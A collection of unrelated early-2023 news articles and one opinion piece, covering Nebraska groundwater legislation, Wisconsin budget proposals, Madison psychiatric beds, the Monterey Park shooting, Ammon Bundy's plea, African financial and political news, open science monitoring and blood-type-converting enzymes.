Sarah Porter, the director of the Kyl Center for Water Policy at Arizona State University, said shes unaware of any proposal to transfer water out of Nebraska to places like Arizona, Nevada or Southern California.

Doing so would likely be cost-prohibitive for governments or developers, energy-intensive and politically explosive, Porter said, particularly rights-of-way would need to be secured across hundreds, if not thousands, of miles.

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Instead of looking to move resources elsewhere, Porter said state and local governments should promote careful stewardship of water resources and sustainable development, as well as collaboration with users both upstream and downstream.

All over the American West, there are landowners who are essentially water speculators, Porter said. Its important for states to weigh in early and make it clear what opportunities are and are not available.

The clearest way to do that is by enacting state statute spelling out what is and isnt permissible, Porter added, as well as to keep communication lines open between states so stakeholders understand each others problems.

Brieses bill, which will go before the Legislatures Natural Resources Committee for a hearing Thursday afternoon, spells out what Nebraskas expectations would be, Porter said.

Steve Mossman, a Lincoln attorney who represented several Banner County ranchers in the Ponderosa Ridge case, said limiting groundwater transfers out of state is an interesting issue, because everyone is concerned about it and then it rarely ever arises.

Banning any transfers more than 10 miles out of state may run into the Sporhase case, Mossman said, particularly if it places a hindrance on interstate commerce.

That would be a question for the U.S. Supreme Court again, he said.

Briese said he doesnt see the bill as running counter to the Commerce Clause.

Rather, its an issue of addressing when  not if  another state comes calling for Nebraskas groundwater.

Our job is to protect Nebraskas interests right now, he said. I foresee it being an issue someday.
JUBA, Jan. 24 (Xinhua) -- The United Nations senior relief official in South Sudan has condemned the attacks on humanitarian workers and assets in Pibor, Greater Pibor Administrative Area.

Peter Van der Auweraert, humanitarian coordinator ad interim in South Sudan, said in a statement issued in Juba, the capital of South Sudan, on Monday that at least one aid worker was injured when several armed attackers, who were targeting cash and other valuables, broke into an international NGO compound in Pibor on Jan. 18.

"Such attacks while humanitarians are providing critical services to the most vulnerable people are beyond comprehensible. The whole humanitarian community is united in its call for the immediate end of these repeated acts of violence against civilians and humanitarians," Van der Auweraert said.

The incident followed the killing of two aid workers in the Abyei Administrative Area and another aid worker in Jonglei State earlier this month. 
When gators threaten the safety of Houston residents, gator wrangler Timothy DeRamus is called into action. Trained by the Texas Department of Parks and Wildlife, he catches about 200 to 250 alligators a year and finds them new homes in local rescue centers.
In the first State of the State address of his second term, Democratic Gov. Tony Evers on Tuesday proposed boosting mental health spending and increasing funding for public education and local governments  proposals that may see some support from the Republican-controlled Legislature, depending on the price tag.

Evers also unveiled proposals to cut taxes, invest more than $100 million to confront PFAS contamination, and support child care providers. All told, Evers list of proposals would increase state spending by more than $1 billion.

Citing the states surplus, which is projected to reach nearly $6.9 billion, Evers said: We have roads and bridges to fix, schools to fund, kids to support, communities to keep safe, water to keep clean and a future weve built together after years of neglect that, today, we must work to protect.

Absent from Evers speech were many of his recent talking points, such as repealing Wisconsins abortion ban, legalizing marijuana and expanding Medicaid  topics he highlighted in his recent inaugural address, a speech Republican legislative leaders described as too partisan.

Most measures Evers proposed will be included in his upcoming 2023-25 biennial budget proposal, which he will present Feb. 15, and would require Republican approval  a big ask for the Democratic governor.

That is a lot of money, Assembly Majority Leader Tyler August, R-Lake Geneva, said after Evers delivered his address. We have to keep in mind a lot of the surplus that we have is one-time money and it seems that the governor tonight was spending down that one-time money on ongoing expenses, which could put us in a massive deficit in the future.

Assembly Speaker Robin Vos, R-Rochester, said in a Tuesday interview with WisconsinEye he expects the GOP-led Legislature to handle Evers proposal as they have the past two cycles, by stripping the budget down to its base and starting over.

Speaking with reporters after Evers speech, Vos said hes open to being persuaded on some of the governors ideas, but reiterated that Republicans top priority this coming budget session is cutting taxes.

Were not going to grow the size of government and then, whatever the scraps are, give those back to the taxpayers, Vos said.

Mental health, education initiatives

Calling 2023 the Year of Mental Health, Evers said his upcoming two-year budget would spend around $500 million to expand access to mental and behavioral health services.

That includes $270 million to permanently fund a state program providing school-based mental health services. His proposal comes after the Office of Childrens Mental Health found in its 2022 report that around a third of children feel sad and hopeless almost every day, a 10% increase over the last decade.

Improving student mental health can also improve student learning outcomes and school attendance, while reducing bullying, risky behaviors, violence, involvement in the juvenile justice system and substance misuse, Evers said Tuesday.

Other mental health investments he will propose in his budget include $3 million for the 988 Suicide & Crisis Lifeline call center and a $1.8 million investment to establish a 25-bed psychiatric residential treatment facility for youths with intensive behavioral health needs, according to a press release from the governors office.

Asked whether he would support Evers $500 million request to fund mental health services, Senate Majority Leader Devin LeMahieu, R-Oostburg, said, thats a lot of money, but declined to say what amount he would support.

Evers also proposed using some of the states surplus to fund local schools

For years, communities have raised their own property taxes to keep their local schools afloat, Evers said. And while some school districts have successfully passed referenda to help keep the school lights on, many have tried and failed.

He called for spending over $20 million to recruit, develop and retain teachers and student teachers.

Evers has proposed a $2 billion increase in funding for public schools. Vos and LeMahieu have said theyd be willing to consider an increase if Evers approves expanding the states private school voucher program.

But Vos previously called the governors proposal excessive, and Evers said universal school choice is a nonstarter. It remains unclear where the Republican leaders and Evers would compromise on education.

Evers also highlighted the lack of child care options in communities across Wisconsin. He proposed spending $340 million to continue a pandemic-era program that provides payments to child care facilities to increase wages and offset other operating costs.

Tax cuts and shared revenue

Evers pledged to deliver tax relief to Wisconsinites, though he and the GOP legislative leaders have floated drastically different proposals for doing so.

Evers has called for tax cuts that benefit the middle class. Specifically, he has floated a plan providing a 10% tax cut for individuals earning $100,000 or less a year and married filers making $150,000 or less. Republican legislators, on the other hand, have released a plan to switch Wisconsins progressive income tax to a 3.25% flat tax, which Evers criticized Tuesday.

Spending billions on a flat tax isnt a workforce plan or an economic development plan, he said. We need to bolster the middle class, we need to maintain our economys momentum, and we need to reduce barriers to work and recruit and retain talent to address our states workforce challenges.

Evers also unveiled a plan to send up to 20% of the states sales tax revenue back to local communities through the shared-revenue program, which provides money to local governments to help fund basic services. LeMahieu has floated the idea of diverting 1% of the state sales tax to replace shared revenue.

Evers said his plan means more than half a billion dollars more per year in new resources to invest in key priorities like EMS, fire, and law enforcement services, transportation, local health and human services, and other challenges facing our communities.

LeMahieu and Vos have expressed support for increased funding to local governments, but both said specifics were not available Tuesday.

$106 million to combat PFAS

Evers also wants to spend $106 million in the upcoming budget to combat PFAS contamination. The money would go toward helping local communities, increasing staff and resources at the state Department of Natural Resources, and increasing PFAS testing, sampling and monitoring.

The work we must do to address PFAS and other contaminants grows harder and more expensive with each day of delay, he said. Partisan politics cannot keep getting in the way of this work while Wisconsinites worry about the water coming from their tap.
With a psychiatric hospital opening in Middleton in 2021 and a permit approved last week for a similar facility to open late next year on Madisons Far East Side, the Madison area is soon expected to have nearly 300 mental health beds, up from about 100 before.

Thats more than what one study suggests is needed based on Dane Countys population. But other reports call for more beds, Wisconsin is believed to need more beds statewide and nearby counties without psychiatric beds send some patients to Madison.

Theres a substantial bed need in the market, said Jeffrey Woods, operations group president for Acadia Healthcare, which plans a 120-bed behavioral health hospital in the High Crossing development east of Interstate 39-90-94 and south of Highway 151.

Madisons Plan Commission on Jan. 23 approved a conditional use permit for the project, expected to be finished in December 2024. No other approvals are required except for state licensing.

The need is unfortunately growing, said Saad Niazi, CEO of 72-bed Miramont Behavioral Health, which opened for adults in August 2021 on Deming Way in Middleton and added adolescents in December 2022. The new facilities signify the need and the catch-up of trying to bring that infrastructure into a community thats growing, Niazi said.

Just 30 beds at Miramont are operational so far, largely because of staffing challenges and a planned strategy for gradual growth, he said.

Until Miramont opened, non-criminal patients needing inpatient psychiatric care could make use of about 100 beds at UW Hospital, UnityPoint Health-Meriter, SSM Health St. Marys Hospital and Stoughton Hospital.

Some patients who are sent for care involuntarily are taken to the state-run Winnebago Mental Health Institute in Oshkosh.

Mendota Mental Health Institute on Madisons North Side has 304 beds for patients placed involuntarily through a court order, mostly for adult males but including 42 beds for females and a 16-bed geriatric unit. Mendota Juvenile Treatment Center, which isnt a hospital, has 29 beds for male youth adjudicated as delinquent. An expansion that started last year is expected in 2025 to result in a total of 93 beds, 73 for male youth and 20 for female youth, said Elizabeth Goodsitt, a spokesperson for the state Department of Health Services.

Need varies

Hannah Flanagan, director of emergency services for Journey Mental Health Center in Madison, said it is sometimes a challenge to find beds for patients, especially those with higher needs.

There are certainly days when were trying to facilitate hospitalizations, and our local hospitals are full, Flanagan said.

Shane Schuhmacher, human services director for Lafayette County, southwest of Madison, said the county has sent patients to all of the Madison hospitals, including Miramont. The search to find beds varies, he said.

Sometimes it can be difficult and sometimes its not, Schuhmacher said.

UW Hospital, which has 18 psychiatric beds, typically has 15 to 16 patients in them, said Dr. Michael Peterson, the hospitals psychiatric services director. Meriter, which also has 18 beds for adults, has a lower average census, of 12 to 14, in part because the configuration of its beds makes it harder to fill them, Peterson said. Both hospitals, along with St. Marys, which has 22 beds, take some involuntary patients along with voluntary cases, he said.

The need for psychiatric admissions has not decreased, Peterson said. The need has been uncovered and increased a bit by all the stressors of COVID-19 and the aftermath.

Meriters Child and Adolescent Psychiatry Hospital, on Madisons Southwest Side, has 30 beds after an expansion in 2020. It hospitalized a record 900 kids in 2021 and nearly as many last year, said Dr. Katie Schmitt, medical director.

The hospital seems to meet the communitys needs for pediatric patients, Schmitt said, except for two groups it is not equipped to handle: children with primary diagnoses of substance use or eating disorders, for which many patients are often sent to Rockford, Illinois or Oconomowoc.

Miramont also doesnt take such patients, Niazi said. With Acadia coming, it would be great if they could meet the need for those kids, Schmitt said.

About 35 psychiatric beds are needed per 100,000 population, according to a 2021 study in the International Journal of Environmental Research and Public Health. With Dane Countys population of about 565,000, that level would be about 200 beds.

But the same study says Wisconsin has fewer beds than needed, and another study in the journal Molecular Psychiatry last year said 30 beds per 100,000 people is minimal and optimal is 60 beds, which in Dane County would be about 340 beds. Few or no beds are available in rural counties near Madison, which arguably increases the need.

Hospital plans

Woods, of Acadia, said its facility will treat adults with substance use, mood and thought disorders and geriatric patients with mental illness and mild to moderate dementia, including Alzheimers disease. The company is considering pediatric care, he said.

Acadia will work with local providers to understand where there are other areas of unique need, he said.

Isolation from COVID-19 has made many psychiatric patients sicker, and societys increasing openness about mental illness is leading more people to seek help, including outpatient services the hospital will offer, Woods said.

As those barriers come down, people are going to need access to care, he said.

Woods declined to provide a cost estimate for the project, which will convert a two-story office building on American Family Insurance property into the hospital and add a building for support services. He said the typical cost range for psychiatric hospitals at Acadia, which has more than 50 such hospitals around the country and more than a dozen in planning stages, is $35 million to $80 million.

Miramont, built and initially owned by Memphis, Tennessee-based Strategic Behavioral Health, was purchased last year by Summit BHC, which like Acadia is a for-profit company based in Franklin, Tennessee.

Niazi became CEO of Miramont in May. The hospital, which cost about $20 million, is currently operating 20 beds for adults and 10 for adolescents, with a total average census of about 27 patients, he said. The workforce shortage, which is affecting most aspects of health care nationwide, is the main reason more beds arent open yet, he said.

Were doing things incrementally, making sure we have the right processes in place, the right people, the right training, Niazi said.

Miramont, which received citations in April for not letting patients have visitors and not documenting the resolution of patient grievances, received additional citations from the state Department of Health Services in July and October.

An inspection report in July said Miramont didnt get written informed consent for prescribed psychotropic medications from two patients and had inadequate discharge planning for another patient.

In October, inspectors said staff didnt promptly start medications for three patients, didnt release two voluntary patients quickly enough and conducted strip searches for six patients upon admission without a documented reason.

Niazi said Miramont has improved informed consent documentation and discharge planning, and has started medications earlier when appropriate. The facility is consulting with DHS about procedures for releasing patients and doesnt consider its skin assessments of incoming patients for wounds and other potential medical concerns to be strip searches, he said.

We want to see how we can get better, Niazi said.
Who walks into a dance hall and guns down 20 people? Los Angeles County Sheriff Robert Luna asked, hours after more than 10 people were shot dead and at least 10 more were wounded Saturday night in Monterey Park.

Millions ask the same kind of question after what has become a sickeningly frequent occurrence in America. The slaughter amid Lunar New Year festivities was the fifth mass murder shooting in the U.S. in 2023, which is barely three weeks old. Who did this?

At a Sunday evening news conference, Luna said a suspect named Huu Can Tran was found dead in a van of a self-inflicted gunshot wound. A magazine-fed assault pistol was recovered.

In coming days, more details will doubtless emerge about the suspect and victims of this heinous crime.

But beyond this latest horrific shooting and its particular perpetrator, driven by unique, unfathomable motives, is there a pattern we can discern?

No single answer covers all mass killings. Past perpetrators have included the psychotic, domestic abusers, bigots, conspiracy theorists, holders of personal grudges and international terrorists. They are sometimes young, sometimes in their prime, sometimes elderly. They do their cruel, murderous work at dance halls, elementary schools, universities, movie theaters, concerts, grocery stores, houses of worship, parades.

There is no common profile of the killers, but they have one thing in common: They have guns.

And in one way or another, we hand them their weapons. The United States is the only society with such a powerful gun lobby. That lobby and the manufacturers who profit from the sale of millions of weapons systematically injected right-wing politics with an ideology that equates gun proliferation with liberty, and even modest, commonsense controls with government oppression.

The results include a Congress that for years blocked tabulation of data establishing the reverse link between gun possession and safety, and a Supreme Court that interprets language describing well-regulated militias  drafted when single-fire, muzzle-loaded muskets were the norm  as a constitutional right to acquire weapons, load them and carry them inside any of the places that have been forever scarred by multiple killings.

The gun lobbys evil genius is so profound that it has convinced millions of Americans that the only way to defend themselves against all the violence perpetrated by a populace with too many guns is to acquire more guns. And the only way to live with this odd version of freedom is to ensure that every school, store, church and party could at any moment become shooting galleries.

But national suicide is not the compulsory price of freedom. Second Amendment rights are no further beyond rational limitations than First Amendment rights. Our system protects Americans from injury and death, for example, by limiting a persons right to falsely yell fire in a crowded theater. It also could protect us  if we insisted on it  from those who would fire a gun in that same theater. Or at a festival in Gilroy, a bar in Thousand Oaks, a holiday party in San Bernardino or a synagogue in San Diego County.

Or a dance studio in Monterey Park.
Former Idaho gubernatorial candidate Ammon Bundy pleaded guilty to misdemeanor trespassing Monday rather than proceed with a trial set for this week.

The trespassing charge stems from an incident when Bundy refused to leave the property of St. Lukes Hospital in Meridian in March 2022.

Ada County Magistrate Judge Annie McDevitt sentenced Bundy to 90 days in jail, but suspended 78 days and credited him for the 12 days he already served at the time of his arrest. Bundy will serve one year of unsupervised probation and must pay $1,157 in fees, according to court record. He will serve no additional jail time for the crime, unless he violates the terms of his probation.

The protest happened when Bundy supporter Diego Rodriguezs grandson was taken to the hospital by police in Meridian. The Idaho Department of Health and Welfare reportedly believed the child was in medical danger, and when the childs parents did not cooperate, DHW contacted police.

The state returned the child to his parents less than a week later.

Bundy faces a separate lawsuit from St. Lukes Health System over a related incident. The lawsuit, filed in May 2022, claims Bundy and supporters made false statements against the hospital and led protests that resulted in a temporary lockdown at St. Lukes in downtown Boise. The lockdown resulted in ambulances being diverted to other hospitals. It also alleges the defendants disparaged St. Lukes, its CEO Chris Roth, and a St. Lukes physician and nurse practitioner.

A statement posted Saturday to Bundys Keep Idaho Idaho website included a call-to-action asking people to attend the trial, scheduled to begin Monday. The call-to-action called the judge biased and claimed the charge was an example of political retaliation.

But later Saturday, Bundy called off the action, citing the lawsuit as the reason he was taking the plea deal. He told people not to come to the courthouse.

My desire, in all I have done, was never to overturn the courts and make the judges start administering justice as the law prescribes, Bundy wrote. I never wanted to spend my life fighting in the courts. In-fact, after coming home from being in federal prison for two years  never convicted of even one charge  and going through two major federal trials, my desire was to never enter a courtroom again. I only wanted then, and still today, to be left alone. So, making this agreement in the CRIMINAL case is an effort to extend an olive branch to St. Lukes executives. To show that I simply want to be left alone.

The lawsuit, filed in civil court, remains ongoing and is separate from the criminal charge, which is filed by a prosecutor.
Photo: The Canadian Press A body is seen on the driver's side of a van as authorities investigate, in Torrance, Calif., Sunday, Jan. 22, 2023. Authorities say the driver, the suspect in a California dance club shooting that left multiple people dead, shot and killed himself. (AP Photo/Damian Dovarganes)

The search for the motive behind the shooting massacre at a Los Angeles-area ballroom dance hall led police to a mobile home community as they probed the past of the 72-year-old suspect Monday and his relationship to the club.

Meanwhile, the death toll rose to 11 after health officials announced that one of the 10 people who were wounded had died.

The suspect, Huu Can Tran, who was found dead of a self-inflicted gunshot wound Sunday, had visited police in his town of Hemet twice this month to allege he was the victim of fraud, theft and poisoning by family members between 10 and 20 years ago in the LA area, spokesman Alan Reyes told The Associated Press. Tran said he would return to the station with documentation but never did.

Tran was found dead in the van that he used to flee after attempting to attack a second dance hall, authorities said. The mayor of Monterey Park said Tran may have frequented the first dance hall that he targeted, and his ex-wife told CNN she had met him there and he offered her free lessons.

All but one of the victims were 60 or older, according to information released Monday by the Los Angeles coroners office providing the first identifications.

My Nhan, 65, and Lilian Li, 63, were the first two women named. Two other women were in their 60s, and one was in her 50s. Three men were in their 70s, and two in their 60s were also killed.

Officials did not disclose an age for the 11th fatality, which was announced by the LA County Department of Health Services.

Authorities have shared little about Tran.

Los Angeles Superior Court records show Tran was married in 2001 and divorced five years later, citing irreconcilable difference. The couple did not have children, said they had no community property and neither side had to pay alimony.

In the uncontested case, Tran noted in a filing that he could not get away from work to attend any court hearings, though he did not disclose where he worked or what he did.

His ex-wife told CNN that they married soon after they met. While she is named in court papers, she asked not to be identified because of the sensitivity of the case.

She said he would become upset if she missed a step dancing, but was never violent with her.

Tran eventually moved from the San Gabriel Valley, a melting pot for Asian immigrants, and settled in a mobile home community for those 55 and up in Hemet, 75 miles east of Los Angeles in Riverside County. Police searched his home there Sunday night.

Hemet police had no records of any incidents involving Tran in the community or calls for service at his home, Reyes said.

The shootings during Lunar New Year celebrations sent a wave of fear through Asian American communities and cast a shadow over festivities nationwide.

The massacre was the nations fifth mass killing this month, and it struck one of California's largest celebrations of a holiday observed in many Asian cultures, dealing another blow to a community that has been the target of high-profile violence in recent years.

It was also the deadliest attack since May 24, when 21 people were killed in an elementary school in Uvalde, Texas.

Law enforcement officials said the rampage could have been even deadlier. A man whose family runs the second dance hall confronted the assailant in the lobby and wrested the gun from him, The New York Times reported.

We do understand that he may have had a history of visiting this dance hall and perhaps the motivation has to do with some personal relationships. But thats something that I think investigators are still uncovering and investigating, said Monterey Park Mayor Henry Lo. Public records show Tran once had addresses in the city and neighboring ones.

The mayor and LA County Sheriff Robert Luna stressed that the motive remained unclear for the attack, which also wounded 10 people. No other suspects were at large, according to the sheriff.

The suspect was carrying what Luna described as a semi-automatic pistol with an extended magazine, and a second handgun was discovered in the van where Tran died.

Tran is the second-oldest mass killer in the U.S. over the last nearly 20 years according to a database compiled by The Associated Press, USA Today and Northeastern University. The only older mass killer was a 73-year-old who murdered five people in Yuma County Arizona in 2011 before killing himself. The database tracks every mass killing  defined as four dead not including the offender  committed in the U.S. since 2006.

Within three minutes of receiving the call, officers arrived at the Star Ballroom Dance Studio in Monterey Park, according to Monterey Park Police Chief Scott Wiese.

There, they found carnage inside and people trying to flee through all the doors.

When they came into the parking lot, it was chaos, Wiese said.

About 20 minutes after the first attack, the gunman entered the Lai Lai Ballroom in the nearby city of Alhambra.

Brandon Tsay was in the lobby at the time, and he told ABCs Good Morning America that he thought he was going to die.

Something came over me. I realized I needed to get the weapon away from him, I needed to take this weapon, disarm him or else everybody would have died," Tsay said. When I got the courage, I lunged at him with both my hands, grabbed the weapon and we had a struggle.

Once Tsay seized the gun, he pointed it at the man and shouted: Get the hell out of here, Ill shoot, get away, go!

The assailant paused, but then headed back to his van, and Tsay called the police, the gun still in his hand.

While Luna told reporters on Sunday that two people wrested the weapon away from the attacker, Tsay, who works a few days a week at the dance hall his grandparents started, told The New York Times that he acted alone. Stills from security footage shown on Good Morning America showed only the two men struggling for the gun.

The suspect's white van was found in Torrance, another community home to many Asian Americans.

After surrounding the vehicle for hours, law enforcement officials swarmed and entered it. A persons body appeared to be slumped over the wheel and was later removed. Members of a SWAT team looked through the vans contents before walking away.

Monterey Park is a city of about 60,000 people on the eastern edge of Los Angeles and is composed mostly of Asian immigrants from China or first-generation Asian Americans. The shooting happened in the heart of its downtown where red lanterns decorated the streets for the Lunar New Year festivities. A police car was parked near a large banner that proclaimed Happy Year of the Rabbit!

The celebration in Monterey Park is one of Californias largest. Two days of festivities, which have been attended by as many as 100,000 people in past years, were planned. But officials canceled Sundays events following the shooting.
The Cassia County Sheriffs Office, in partnership with the Idaho Department of Parks and Recreation and Idaho Water Sports, will offer free Idaho boater safety classes beginning next month.

Students who complete the class will receive a $50 gift certificate from Idaho Water Sports.

The classes will be held from 8 a.m. to 4 p.m. on four Saturdays: Feb. 4, March 4, April 1 and April 29.

The eight-hour class is designed to educate new boat owners, paddlers and public on all aspects of safe boat operations, navigational rules, water survival and legal requirements for operating a boat on Idaho waters.

Graduates will receive a completion card.

Pre-registration is required. To register or for more information, call Lt. Taylor at 208-878-1136 or email at staylor@cassiacounty.org.
A small business in Marions Depot District is now the home to a brand-new international childrens clothing brand.

Based at 44 Depot St. in Marion, Barefoot Baby is owned and operated by the Hughes family, producing quality clothing for babies, toddlers and youth. While they do not have a retail location open to the public, owner Alyssa Hughes says she has big plans within the local community, according to a news release.

I have lived in Marion the last six years and I am so thrilled to be part of the growth downtown, said Hughes. All three of my children have been raised in this community and have inspired our clothing. I cannot wait to bring local kids in for photo shoots, to work with new retail businesses, and to have public events where all the barefoot babies can come together.

Using her own illustrations, Hughes uses sublimation to add her artwork to soft T-shirts and bodysuits.

We have pretty simple inventory right now, but we are expanding rapidly, she says. We already have bodysuits and tees in sizes 0 to 3 months through youth medium and we recently added beanies and trucker hats. We also have school notebooks, gift notebooks, and two childrens books for sale with more in progress. Later this year we will be offering sweatshirts, and we have hopes of adding pajama sets, adventure journals, and even adult tees before the year is over.

Our designs have been inspired by my kids  and probably yours too, she added. Some of the shirts feature our pot-bellied pig Marley, or our Rhode Island Red chickens, rooster and rabbits. We also have designs with tractors, cows, and ducks. My family loves hiking, so we have nature-inspired stuff too. If it has to do with the outdoors, we probably have it.

Husband and wife team Matt and Alyssa Hughes are excited to keep growing their business by collaborating with others. Their hat selection comes straight from T&S Headwear on Main Street, which is owned and operated by Sarah Barrier Jacobs and Tegan Strautmann Sacco. They are working with Jessica Prices Roaming Buffalo Outpost on Rutherford Road to add a Western line. They have also hired staff from the design program at McDowell Technical Community College.

Hughes said they have no plans to open a retail store in Marion. They are focusing on their manufacturing work at the Depot Street location and they sell their products online so people around the world can order through their website. They either ship it to their customers or people are welcome to pick up at the Depot Street location.

In addition to selling directly to customers, we also sell to retailers, Hughes told The McDowell News. We made a delivery to Roaming Buffalo Outpost over the weekend so she has our entire Western line there. We have a few other stores in the state but RBO is the closest.

So even though there is not a Barefoot Baby shop, locals will start seeing their brand pop up more as the business connects with more stores.

We love our kids, we love our business, and we love this town, said Hughes. The whole vision is coming together and we cannot wait to see how it continues to grow. We are a family pursuing our passion, and we couldnt do it without the support of this community.

To learn more about Barefoot Baby, you can check out their website www.BarefootBabyClothing.com or find them on social media at www.facebook.com/barefootbabyclothing.
The Angolan financial system will be evaluated, in 2024, by multilateral institutions, as part of the approval of the Strategic Plan of the Council of Financial System Supervisors 2022/2024, announced the National Bank of Angola.

The announcement was made following the 4th ordinary meeting Council of Financial System Supervisors (CSSF) held last Thursday.

A note from the National Bank of Angola underlined that, regarding the objective of ensuring the transparency and credibility of the financial system, the ongoing work carried out by the Angolan Agency for Insurance Regulation and Supervision (ARSEG) was presented at the meeting. ARSEG seeks to update its Chart of Accounts, with a focus on the schedule of actions to adapt to the international financial reporting standards.

The meeting also examined the status of the diagnosis of the level of implementation of ESG (Environmental, Social and Governance) policies by financial system operators, having reiterated the principle of adopting cross-cutting recommendations in line with the commitments made by national authorities, particularly in relation to climate change.

The CSSF is a body that exercises coordination functions among the National Financial Systems supervisory bodies in the exercise of their respective powers to regulate and supervise the financial entities and activities under their jurisdiction. It is responsible, among others, for advising Banco Nacional de Angola (BNA), as the National Macroprudential Authority, on matters related to the definition and execution of the macroprudential policy for the National Financial System.

The Council of Financial System Supervisors was attended by its permanent members, namely the governor of the National Bank of Angola, who chairs it, the Chairman of the Board of Directors of the Angolan Agency for Insurance Regulation and Supervision (ARSEG), the Chairman of the Board of Directors of the Capital Market Commission (CMC) and the Secretary of State for Finance and Treasury representing the Ministry of Finance, as an observer.
Renamo, the main opposition party in Mozambique, on Monday called for the resignation of the government, considering that it violated the Constitution with the implementation of the Single Wage Scale (TSU) and lacked respect for public servants.

The implementation of the TSU is disastrous, with back and forth, it has been more than seven months in which employees and agents of the State still do not know the real amount of their salaries, said Saimone Macuiana, chairman of the partys Jurisdictional Council, at a press conference in Maputo, where he called the process unacceptable and shameful without a thorough study on the budgetary impact of the measure.

For Renamo, the TSU should value all professional classes of the Civil Service, but, according to Macuiana, some professionals continue to claim salary justice.

He said it is urgent that the Government regularizes this situation, so that harmony and joy are installed within the professionals and agents of the State, and consequently the satisfaction of their families.

Last week, the Government approved the definitive TSU amounts after complaints from several sectors of the civil service such as doctors, with several currents arguing that the advances and retreats are related to the lack of money to sustain the TSU implementation.

Amilcar Tivane, Deputy Minister of Economy and Finance, assured that the implementation of the TSU will respect the limits imposed by the budget law.
The Portuguese Prime minister Antonio Costa announced on Monday that the entire amount of the amortization of Cape Verdes debt to Portugal will be fully invested by Lisbon in the Cape Verdean fund for climate and energy transition. An amount that should reach 12 million euros by 2025.

According to 2021 data from the Cape Verdean government, Cape Verdes debt to Portugal amounted then to more than 600 million euros and with this agreement announced by the prime-ministers of both countries in Mindelo, Sao Vicente island, on the sidelines of the Ocean Race Summit, every time Cape Verde pays off the global package, this amount will be reinvested in the country by the Lisbon government.

For Antonio Costa, no country will be sustainable if all countries are not sustainable. It is a job that has to be done together.

This is why Portugal wants to participate in the fund that Cape Verde is creating for climate and energy transition, investing the entire amount in the amortization of Cape Verdes debt to Portugal.

It means, to have an idea, until 2025, we are talking about amounts around 12 million euros and so on it will happen. It is a way of converting a debt into Cape Verdes ability to invest in energy transition, in the fight against climate change and that we can do it together, he explained.

Costa also said that, beyond the financial contribution, the Portuguese count on being involved, mobilized to contribute in the most diverse domains where they have energy efficiency expertise.

The head of the Portuguese government pointed out that climate change is surely the greatest challenge facing humanity today.

I say today because, in order to achieve the goals to which we have all committed in 2050, this path has to be taken today. In this regard, he mentioned that if Portugal has today 58% of electricity from renewable sources, this was only possible because this work began more than 15 years ago and that the next goal is to reach 80% in 2026.

Ulisses Correia e Silva thanked the presence of Antonio Costa, who brightened the Oceans Summit, highlighting the sea that both countries share. Portugal also has the sea as a very important resource, in terms of breadth and scope, but also in terms of strategy. In this perspective we converge. We are much more sea than land, 99.3% of our territory is maritime, the size of Texas.

The Cape Verdean Prime Minister recalled the goals in terms of sustainable development, namely the ongoing energy transition that should, by 2030, translate into more than 54% of all production through renewable energy. We have every reason to go further, he said, recalling that these steps will have an impact on the energy bill, since Cape Verde currently imports about 80% of the fuel it consumes.

We have sun, sea, wind, all the conditions to put a very strong priority on energy transition, he noted. The Ocean Race Summit is part of the Ocean Races first visit to Cape Verde and brings together today in Mindelo, Sao Vicente island, politicians, governments, experts and other personalities to address the future of the oceans.
This article has been reviewed according to Science X's editorial process and policies . Editors have highlighted the following attributes while ensuring the content's credibility:

Laptop with data visualizations. Credit: Wallusy, Pixabay

Eighty stakeholders from twenty major biomedical research institutions across the globe have agreed upon a list of 19 open science practices to be implemented and monitored. The study, led by Dr. Kelly Cobey, Scientist and Director of the Open Science and Meta Research Program at the University of Ottawa Heart Institute, Canada, forms the basis for the future development of institutional digital dashboards that will display that institution's compliance with open science practices. The study is published in the open access journal PLOS Biology on January 24.

Globally, mandates and guidelines relating to open science have grown in recent years. Open science practices including open access publishing, preprints, data sharing, and clinical trial registration help to ensure that research is as transparent, accessible, and useable. The COVID-19 pandemic has highlighted how the traditionally "closed" nature of biomedical research does not serve the global community. To transition to an "open" research ecosystem researchers require training and support.

Despite a multitude of a calls and policies that aim to "open up" research, no system to monitor the state of practice at academic institutions currently exists. Monitoring is necessary to track progress over time, but also to identify areas where interventions are needed to change practice. The 19 core open science practices established in this article will help to standardize monitoring globally.

The study describes an iterative process through which stakeholders at institutions communicated to obtain consensus. A three-round Delphi study in which a group of stakeholders voted on potential open science practices to monitor was used. The first two rounds of the Delphi voting took place via electronic surveying, while the final round was completed over two days as a virtual meeting. Participants had the opportunity to comment and anonymously vote on potential practices, and to suggest novel practices to the group.

This approach helped to standardize communication and reduce bias. The 19 practices will now be tested in terms of how feasible they are to automate for inclusion in an open source digital dashboard that will be developed for use at biomedical institutions.

"Having an agreed set of open science practices to monitor is an important milestone for the community. Through taking this community-centered approach we hope to develop and make available a tool for biomedical institutions to monitor open science practices," said Dr. Cobey, "Ultimately we need to track open science practices in order to ensure that we are taking timely steps to open up research and to ensure we comply with existing open science mandates."

Cobey adds, "Policy in the absence of monitoring is not effective. We have reached agreement on how to design a digital dashboard to track open science practices to determine if we are doing a good job implementing them or not."

More information: Community consensus on core open science practices to monitor in biomedicine, PLoS Biology (2023). DOI: 10.1371/journal.pbio.3001949 Journal information: PLoS Biology
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Basic A, B and H antigens on RBCs. Credit: Nature Microbiology (2019). DOI: 10.1038/s41564-019-0469-7

In 2019 Dr. Stephen Withers and colleagues at the University of British Columbia identified a series of enzymes that can be used to modify the chemical structure of a sugar antigen on the surface of blood cells, thereby converting a Type A blood cell to a Type O blood cellthe universal donor type. The team used crystallography on the CMCF beamline at the CLS to better understand how the enzymes cause this change, and published their results in Nature Microbiology.

These same antigens are also present on the surface of solid organs, and Withers and colleagues have demonstrated that the enzymes they discovered are very efficient at making this conversion both on the surface of red blood cells and on the surface of donated human organs such as lungs or kidneys.

Avivothe company launched to bring this technology to the marketplaceis now busy finetuning both applications. If successful, this exciting advance would be a huge step forward in addressing shortages in blood and organ supply here in Canada and around the world. "The idea is that we could broaden the supply considerably," says Withers, a professor in the Departments of Chemistry and Biochemistry and the Michael Smith Laboratories at UBC. "It would remove the need to worry about blood type in transfusions (and organ donations)."

John Barclay, VP of business development with Avivo says the company is focusing first on applying their approach to organ donations because it's considerably more straightforward to remove the conversion enzymes prior to transplantation than it is to remove them before transfusing blood.

When a donor organ is harvested, it will often be placed on a perfusion device that continuously pumps a preservation solution, or perfusate, through it to maintain the tissue's viability. The enzymes discovered by the Withers team can be added to the fluid mixture, where they essentially convert the blood type of the organ to the universal blood type.

After that conversion, the solutionincluding the enzymesis essentially "rinsed" out of the organ as part of the existing transplant process. Removing the enzymes from red blood cells or whole blood is considerably more challenging, says Barclay.

